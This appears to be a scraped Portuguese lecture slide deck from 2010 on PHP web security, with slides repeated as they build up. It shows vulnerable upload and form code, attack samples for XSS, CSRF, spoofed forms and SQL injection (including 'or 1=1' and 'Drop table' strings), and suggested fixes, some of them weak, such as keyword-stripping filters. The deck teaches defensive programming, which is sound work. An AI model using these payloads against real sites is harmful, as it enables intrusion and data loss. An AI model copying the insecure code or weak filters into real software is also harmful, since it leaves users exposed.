    17 c)-Upload de ficheiros <?php //fich_upload1a.php if (isset($_POST['Enviar'])) { //if ($_FILES['fich']['type'] == "image/gif" && $_FILES['fich']['size']<150000) { copy ($_FILES['fich']['tmp_name'], "upload/".$_FILES['fich']['name']) or die ("<BR> Upload sem efeito"); echo "o seguinte ficheiro foi transferido correctamente <br>"; echo "Name: ".$_FILES['fich']['name']."<br>"; //print_r($_FILES); //} else { // echo "<br><br>"; // echo "Falha de Upload, tipo de ficheiro errado )".$_FILES['fich']['name'].") <br>"; //} }else{ ?> <form name="form" method="post" action="" enctype="multipart/form-data"> Ficheiro:<input type="file" name="fich"> <br> <input type="submit" name="Enviar" value="Enviar"> </form> <?php } ?> Abril 2010
  • 47.
    17 c)-Upload de ficheiros <?php //fich_upload1a.php if (isset($_POST['Enviar'])) { //if ($_FILES['fich']['type'] == "image/gif" && $_FILES['fich']['size']<150000) { copy ($_FILES['fich']['tmp_name'], "upload/".$_FILES['fich']['name']) or die ("<BR> Upload sem efeito"); echo "o seguinte ficheiro foi transferido correctamente <br>"; echo "Name: ".$_FILES['fich']['name']."<br>"; //print_r($_FILES); //} else { // echo "<br><br>"; // echo "Falha de Upload, tipo de ficheiro errado )".$_FILES['fich']['name'].") <br>"; //} }else{ ?> <form name="form" method="post" action="" enctype="multipart/form-data"> Ficheiro:<input type="file" name="fich"> <br> <input type="submit" name="Enviar" value="Enviar"> </form> <?php } ?> Abril 2010
  • 48.
    17 c)-Upload de ficheiros <?php //fich_upload1a.php if (isset($_POST['Enviar'])) { //if ($_FILES['fich']['type'] == "image/gif" && $_FILES['fich']['size']<150000) { copy ($_FILES['fich']['tmp_name'], "upload/".$_FILES['fich']['name']) or die ("<BR> Upload sem efeito"); echo "o seguinte ficheiro foi transferido correctamente <br>"; echo "Name: ".$_FILES['fich']['name']."<br>"; //print_r($_FILES); //} else { // echo "<br><br>"; // echo "Falha de Upload, tipo de ficheiro errado )".$_FILES['fich']['name'].") <br>"; //} }else{ ?> <form name="form" method="post" action="" enctype="multipart/form-data"> Ficheiro:<input type="file" name="fich"> <br> <input type="submit" name="Enviar" value="Enviar"> </form> <?php } ?> Abril 2010
  • 49.
    18 c)- Upload deficheiros <?php //fich_upload1.php if (isset($_POST['Enviar'])) { //if ($_FILES['fich']['type'] == "image/gif" && $_FILES['fich']['size']<150000) { if (is_uploaded_file($_FILES['fich']['tmp_name']) && $_FILES['fich']['type'] == "image/gif" && $_FILES['fich']['size']<150000) { move_uploaded_file($_FILES['fich']['tmp_name'], "upload/".$_FILES['fich']['name']) or die ("<BR> Upload sem efeito"); echo "o seguinte ficheiro foi transferido correctamente <br>"; echo "Name: ".$_FILES['fich']['name']."<br>"; print_r($_FILES); } else { echo "<br><br>"; echo "Falha de Upload, tipo de ficheiro errado (".$_FILES['fich']['name'].")<br>"; } }else{ ?> <form name="form" method="POST" action="" enctype="multipart/form-data"> Ficheiro:<input type="file" name="fich"> <br> <input type="submit" name="Enviar" value="Enviar"> </form> <?php } ?> Abril 2010
  • 50.
    19 d:) Fixação desessões <?php 1 - Eliminar cookies (ver session.save_path) //php_session1.php - http://host/php_session1.php?PHPSESSID=123456789 session_start(); 2- a partir de outro computador $_SESSION['utilizador']='marques'; - http://host/php_session1.php?PHPSESSID=123456789 $_SESSION['password']='aeiou'; ?> Abril 2010
  • 51.
    19 d:) Fixação desessões <?php 1 - Eliminar cookies (ver session.save_path) //php_session1.php - http://host/php_session1.php?PHPSESSID=123456789 session_start(); 2- a partir de outro computador $_SESSION['utilizador']='marques'; - http://host/php_session1.php?PHPSESSID=123456789 $_SESSION['password']='aeiou'; ?> solução --session_regenerate_id() Abril 2010
  • 52.
    19 d:) Fixação desessões <?php 1 - Eliminar cookies (ver session.save_path) //php_session1.php - http://host/php_session1.php?PHPSESSID=123456789 session_start(); 2- a partir de outro computador $_SESSION['utilizador']='marques'; - http://host/php_session1.php?PHPSESSID=123456789 $_SESSION['password']='aeiou'; ?> solução --session_regenerate_id() ……….. if(!isset($_SESSION['SERVER_GENERATED_SID'])) { //destruir todos as sessões session_destroy(); } --Verificar se as sessões foram criadas pelo servidor web // gera um novo identificador de sessão session_regenerate_id( ); $_SESSION['SERVER_GENERATED_SID']=true; …….. Abril 2010
  • 53.
    20 e) Sequestro desessões (session Hijacking) Verificação extra (mudança de browser no utilizador) Solução – utilização de tokens Abril 2010
  • 54.
    20 e) Sequestro desessões (session Hijacking) compara o valor do HTTP_USER_AGENT do browser com o do servidor Web <?php session_start(); if (isset($_SESSION['HTTP_USER_AGENT'])) { if ($_SESSION['HTTP_USER_AGENT'] != Verificação extra md5($_SERVER['HTTP_USER_AGENT'])) (mudança de browser no { utilizador) /*PEDIDO de PASSWORD/ exit; } } else { $_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']); } ?> Solução – utilização de tokens Abril 2010
  • 55.
    21 f) - FormuláriosSpoofed (falsificados) Abril 2010
  • 56.
    21 f) - FormuláriosSpoofed (falsificados) //Formulario.htm <html><head> </head> <body> <form action="processar.php" method="post"> //processar.php <p>Marca</p> <select name="marca"> <?php <option value="Ford">Ford</option> $cor=$_REQUEST['cor']; <option value="Peugeot">Peugeot</option> $marca=$_REQUEST['marca']; <option value="Renault">Renault</option> echo "marca - ". $marca."<br>"; <option value="Mercedes">Mercedes</option> echo "cor - ".$cor."<br>"; </select> ?> <p>cor</p> <select name="cor"> <option value="branco">Branco</option> <option value="verde">Verde</option> <option value="azul">Azul</option> </select> <input type="submit"> </form></body> </html> Abril 2010
  • 57.
    21 f) - FormuláriosSpoofed (falsificados) //Formulario.htm <html><head> </head> <body> <form action="processar.php" method="post"> //processar.php <p>Marca</p> <select name="marca"> <?php <option value="Ford">Ford</option> $cor=$_REQUEST['cor']; <option value="Peugeot">Peugeot</option> $marca=$_REQUEST['marca']; <option value="Renault">Renault</option> echo "marca - ". $marca."<br>"; <option value="Mercedes">Mercedes</option> echo "cor - ".$cor."<br>"; </select> ?> <p>cor</p> <select name="cor"> <option value="branco">Branco</option> <option value="verde">Verde</option> <option value="azul">Azul</option> </select> <input type="submit"> </form></body> </html> Abril 2010
  • 58.
    21 f) - FormuláriosSpoofed (falsificados) <form action="http://www.vitimaspoof.com/processar.php" method="POST"> <p>Marca</p> <select name=“marca"> <option value="Anzol">Carro da marca Anzol</option> //processar.php <option value="Chaço">Carro da marca Chaço</option> </select> <?php <p>cor</p> $cor=$_REQUEST['cor']; <input type="text" name="cor" /> $marca=$_REQUEST['marca']; <input type="submit" echo "marca - ". $marca."<br>"; /> </form> echo "cor - ".$cor."<br>"; ?> Colocar no site do atacante (fazendo as alterações adequadas) Formulario_spoof.htm Abril 2010
  • 59.
    21 f) - FormuláriosSpoofed (falsificados) <form action="http://www.vitimaspoof.com/processar.php" method="POST"> <p>Marca</p> <select name=“marca"> <option value="Anzol">Carro da marca Anzol</option> //processar.php <option value="Chaço">Carro da marca Chaço</option> </select> <?php <p>cor</p> $cor=$_REQUEST['cor']; <input type="text" name="cor" /> $marca=$_REQUEST['marca']; <input type="submit" echo "marca - ". $marca."<br>"; /> </form> echo "cor - ".$cor."<br>"; ?> Colocar no site do atacante (fazendo as alterações adequadas) Formulario_spoof.htm Abril 2010
  • 60.
    21 f) - FormuláriosSpoofed (falsificados) <form action="http://www.vitimaspoof.com/processar.php" method="POST"> <p>Marca</p> <select name=“marca"> <option value="Anzol">Carro da marca Anzol</option> //processar.php <option value="Chaço">Carro da marca Chaço</option> </select> <?php <p>cor</p> $cor=$_REQUEST['cor']; <input type="text" name="cor" /> $marca=$_REQUEST['marca']; <input type="submit" echo "marca - ". $marca."<br>"; /> </form> echo "cor - ".$cor."<br>"; ?> Colocar no site do atacante (fazendo as alterações adequadas) Formulario_spoof.htm Solução <?php $markk=array ('Ford','Renault','Peugeot', ‘Mercedes’); if (in_array($marca, $markk)) { //ok executa código em processar.php } else{ die ("continue tentando ...eheheh"); } ?> Abril 2010
  • 61.
    22 g) XSS -Cross Site Scripting //form1.htm <form action="processar.php" method="POST"> <p>marca</p> <select name="marca"> <option value="Ford">Ford</option> <option value="Peugeot">Peugeot</option> //processar.php <option value="Renault">Renault</option> <?php <option value="Mercedes">Mercedes</option> $cor=$_REQUEST['cor']; </select> $marca=$_REQUEST['marca']; <p>cor</p> echo "marca - ". $marca."<br>"; <input type="text" name="cor" /> echo "cor - ".$cor."<br>"; <input type="submit" /> //ligar a BD e inserir a escolha ?> </form> Abril 2010
  • 62.
    22 g) XSS -Cross Site Scripting 1) <script> alert ('Ataque XSS')</script> Abril 2010
  • 63.
    22 g) XSS -Cross Site Scripting 1) <script> alert ('Ataque XSS')</script> 2 )<script>for (var i=0; i<10;i++)alert ('Ataque XSS');</script> Abril 2010
  • 64.
    22 g) XSS -Cross Site Scripting 1) <script> alert ('Ataque XSS')</script> 2 )<script>for (var i=0; i<10;i++)alert ('Ataque XSS');</script> 3) <script>document.location="http://www.php.net";</script> Abril 2010
  • 65.
    22 g) XSS -Cross Site Scripting 1) <script> alert ('Ataque XSS')</script> 2 )<script>for (var i=0; i<10;i++)alert ('Ataque XSS');</script> 3) <script>document.location="http://www.php.net";</script> Solução html_entities() strip_tags() Abril 2010
  • 66.
    23 h ) -CSRF (XSRF) – Cross Site Request Forgery ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP php_csrf.htm php_CSRF.php Abril 2010
  • 67.
    23 h ) -CSRF (XSRF) – Cross Site Request Forgery ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP php_csrf.htm php_CSRF.php Abril 2010
  • 68.
    23 h ) -CSRF (XSRF) – Cross Site Request Forgery ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP php_csrf.htm php_CSRF.php Atacante Abril 2010
  • 69.
    23 h ) -CSRF (XSRF) – Cross Site Request Forgery ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP php_csrf.htm php_CSRF.php http://localhost/security/php_CSRF.php?Livro=lusiadas crackados&Quantidade=23 Atacante Abril 2010
  • 70.
    23 h ) -CSRF (XSRF) – Cross Site Request Forgery ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP php_csrf.htm php_CSRF.php http://localhost/security/php_CSRF.php?Livro=lusiadas crackados&Quantidade=23 Atacante Abril 2010
  • 71.
    23 h ) -CSRF (XSRF) – Cross Site Request Forgery ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP php_csrf.htm php_CSRF.php http://localhost/security/php_CSRF.php?Livro=lusiadas crackados&Quantidade=23 Atacante Abril 2010
  • 72.
    24 h ) -CSRF (XSRF) – Cross Site Request Forgery Atacante – desenvolve o script e coloca-o num servidor //csrf_ataque.html <html> <head> <title>CSRF ATAQUE</title> </head> <body> <a href="http://www.vitima.pt/security/php_CSRF.php?Livro =lusiadas %20crackados&amp;Quantidade=23"><img style="border: 0px solid ; width: 115px; height: 61px;" alt="XSRF" src="php-med-trans.png"></a> </body> </html> Abril 2010
  • 73.
    24 h ) -CSRF (XSRF) – Cross Site Request Forgery Atacante – desenvolve o script e coloca-o num servidor //csrf_ataque.html <html> <head> <title>CSRF ATAQUE</title> </head> <body> <a href="http://www.vitima.pt/security/php_CSRF.php?Livro =lusiadas %20crackados&amp;Quantidade=23"><img style="border: 0px solid ; width: 115px; height: 61px;" alt="XSRF" src="php-med-trans.png"></a> </body> </html> Abril 2010
  • 74.
    24 h ) -CSRF (XSRF) – Cross Site Request Forgery Atacante – desenvolve o script e coloca-o num servidor //csrf_ataque.html <html> <head> <title>CSRF ATAQUE</title> </head> <body> <a href="http://www.vitima.pt/security/php_CSRF.php?Livro =lusiadas %20crackados&amp;Quantidade=23"><img style="border: 0px solid ; width: 115px; height: 61px;" alt="XSRF" src="php-med-trans.png"></a> </body> </html> Solução -Colocar tokens que se propaguem na aplicação Abril 2010
  • 75.
    25 i) SQL injection “SELECT * FROM identific WHERE nome LIKE ‘ ".$_REQUEST['nome']. “‘” php_sqlinjection_sel.php “SELECT * FROM identific WHERE nome LIKE ‘ “. Maria . “‘” php_sqli_sel_sq2.php Abril 2010
  • 76.
    25 i) SQL injection “SELECT * FROM identific WHERE nome LIKE ‘ ".$_REQUEST['nome']. “‘” php_sqlinjection_sel.php “SELECT * FROM identific WHERE nome LIKE ‘ “. Maria . “‘” php_sqli_sel_sq2.php 1’ or ‘1’=‘1 % ' or 1=1 – ...... Abril 2010
  • 77.
    25 i) SQL injection “SELECT * FROM identific WHERE nome LIKE ‘ ".$_REQUEST['nome']. “‘” php_sqlinjection_sel.php “SELECT * FROM identific WHERE nome LIKE ‘ “. Maria . “‘” php_sqli_sel_sq2.php 1’ or ‘1’=‘1 % ' or 1=1 – ...... “SELECT * FROM identific WHERE nome LIKE ‘ “. 1’ or ‘1’=‘1. “‘” Abril 2010
  • 78.
    25 i) SQL injection “SELECT * FROM identific WHERE nome LIKE ‘ ".$_REQUEST['nome']. “‘” php_sqlinjection_sel.php “SELECT * FROM identific WHERE nome LIKE ‘ “. Maria . “‘” php_sqli_sel_sq2.php 1’ or ‘1’=‘1 % ' or 1=1 – ...... “SELECT * FROM identific WHERE nome LIKE ‘ “. 1’ or ‘1’=‘1. “‘” Activar selecção nome +password em php_sqlinjection_sel.php Aplicar em nome ‘ or 1=1 – xxx; Drop table -- !!! Abril 2010
  • 79.
    25 i) SQL injection “SELECT * FROM identific WHERE nome LIKE ‘ ".$_REQUEST['nome']. “‘” php_sqlinjection_sel.php “SELECT * FROM identific WHERE nome LIKE ‘ “. Maria . “‘” php_sqli_sel_sq2.php 1’ or ‘1’=‘1 % ' or 1=1 – ...... SQL_Inject_me “SELECT * FROM identific WHERE nome LIKE ‘ “. 1’ or ‘1’=‘1. “‘” Activar selecção nome +password em php_sqlinjection_sel.php Aplicar em nome ‘ or 1=1 – xxx; Drop table -- !!! Abril 2010
  • 80.
    26 i) SQL injection- Solução Limitar comprimento dos campos no formulário: Abril 2010
  • 81.
    26 i) SQL injection- Solução Nome<br/><input type="text" name="nome" maxlength="15"/><br/> Limitar comprimento dos campos no formulário: Password<br/><input type="password" name="password" maxlength="10"/><br/> Abril 2010
  • 82.
    26 i) SQL injection- Solução Nome<br/><input type="text" name="nome" maxlength="15"/><br/> Limitar comprimento dos campos no formulário: Password<br/><input type="password" name="password" maxlength="10"/><br/> Validação do tipo de input: is_int() gettype() if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos); intval() if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos); settype() if (preg_match (‘^;([a-z0-9])$/i', $variável){ … }; strlen() strtotime() …. Abril 2010
  • 83.
    26 i) SQL injection- Solução Nome<br/><input type="text" name="nome" maxlength="15"/><br/> Limitar comprimento dos campos no formulário: Password<br/><input type="password" name="password" maxlength="10"/><br/> Validação do tipo de input: is_int() gettype() if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos); intval() if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos); settype() if (preg_match (‘^;([a-z0-9])$/i', $variável){ … }; strlen() strtotime() …. Limitar a utilização de caracteres/expressões SQL Abril 2010
  • 84.
    26 i) SQL injection- Solução Nome<br/><input type="text" name="nome" maxlength="15"/><br/> Limitar comprimento dos campos no formulário: Password<br/><input type="password" name="password" maxlength="10"/><br/> Validação do tipo de input: is_int() gettype() if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos); intval() if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos); settype() if (preg_match (‘^;([a-z0-9])$/i', $variável){ … }; strlen() strtotime() …. Limitar a utilização de caracteres/expressões SQL $sql = preg_replace(sql_regcase("/(from|select|insert|delete|where|drop table|show tables|#|*|--|)/"),"",$sql); Abril 2010
  • 85.
    26 i) SQL injection- Solução Nome<br/><input type="text" name="nome" maxlength="15"/><br/> Limitar comprimento dos campos no formulário: Password<br/><input type="password" name="password" maxlength="10"/><br/> Validação do tipo de input: is_int() gettype() if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos); intval() if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos); settype() if (preg_match (‘^;([a-z0-9])$/i', $variável){ … }; strlen() strtotime() …. Limitar a utilização de caracteres/expressões SQL $sql = preg_replace(sql_regcase("/(from|select|insert|delete|where|drop table|show tables|#|*|--|)/"),"",$sql); Efectuar o “escaping” de variáveis Abril 2010
  • 86.
    26 i) SQL injection- Solução Nome<br/><input type="text" name="nome" maxlength="15"/><br/> Limitar comprimento dos campos no formulário: Password<br/><input type="password" name="password" maxlength="10"/><br/> Validação do tipo de input: is_int() gettype() if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos); intval() if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos); settype() if (preg_match (‘^;([a-z0-9])$/i', $variável){ … }; strlen() strtotime() …. Limitar a utilização de caracteres/expressões SQL $sql = preg_replace(sql_regcase("/(from|select|insert|delete|where|drop table|show tables|#|*|--|)/"),"",$sql); Efectuar o “escaping” de variáveis sqlite_escape_string(), mysqlite_escape_string(), mysqlite_real_escape_string(),...). Ex: php_sqlinjection_sel1a.php  activar escaping Abril 2010
  • 87.
    26 i) SQL injection- Solução Nome<br/><input type="text" name="nome" maxlength="15"/><br/> Limitar comprimento dos campos no formulário: Password<br/><input type="password" name="password" maxlength="10"/><br/> Validação do tipo de input: is_int() gettype() if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos); intval() if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos); settype() if (preg_match (‘^;([a-z0-9])$/i', $variável){ … }; strlen() strtotime() …. Limitar a utilização de caracteres/expressões SQL $sql = preg_replace(sql_regcase("/(from|select|insert|delete|where|drop table|show tables|#|*|--|)/"),"",$sql); Efectuar o “escaping” de variáveis sqlite_escape_string(), mysqlite_escape_string(), mysqlite_real_escape_string(),...). Ex: php_sqlinjection_sel1a.php  activar escaping Utilizar declarações (SQL) EX: script php_sqlinjection_sel1.php Abril 2010
  • 88.
    27 Segurança como umtodo – o que fazer? Como proteger das vulnerabilidades PHP? Do ponto de vista do administrador do sistema: Faça Upgrade para PHP 5.2 - elimina muitos dos problemas de segurança do PHP e permite usar APIs mais seguras ,(ex: PDO), Teste as aplicações sempre que use novas versões do PHP, Faça um scanning às aplicações em uso, Considere a utilização da seguinte configuração em PHP: register_globals (deve estar off), allow_url_fopen (deve estar off), magic_quotes_gpc (deve estar off), open_basedir (deve estar on e configurada correctamente), Abril 2010
  • 89.
    28 Segurança como um todo – o que fazer? Como proteger das vulnerabilidades PHP ? Do ponto de vista do programador: Migrar urgentemente a aplicação para PHP 5.2 ou superior . Para evitar as questões anteriores: Programar com a última versão do PHP e com configuração “hardned” Validar todo o input de acordo com o tipo de variável atribuída Codificar todo o input utilizando htmlentities() ou mecanismos similares para evitar ataques XSS Migrar o interface de dados para PDO Não usar input fornecido por utilizadores que usem funções de ficheiros de forma a evitar ataques de inclusão de ficheiros Teste as suas aplicações com ferramentas como WebScarab, Firefox's Web Developer Toolbar, Greasemonkey and the XSS Assistant Adaptado de http://www.sans.org/top20/?portal=5e4388309c999823b11cf5556616bd46#s1 Abril 2010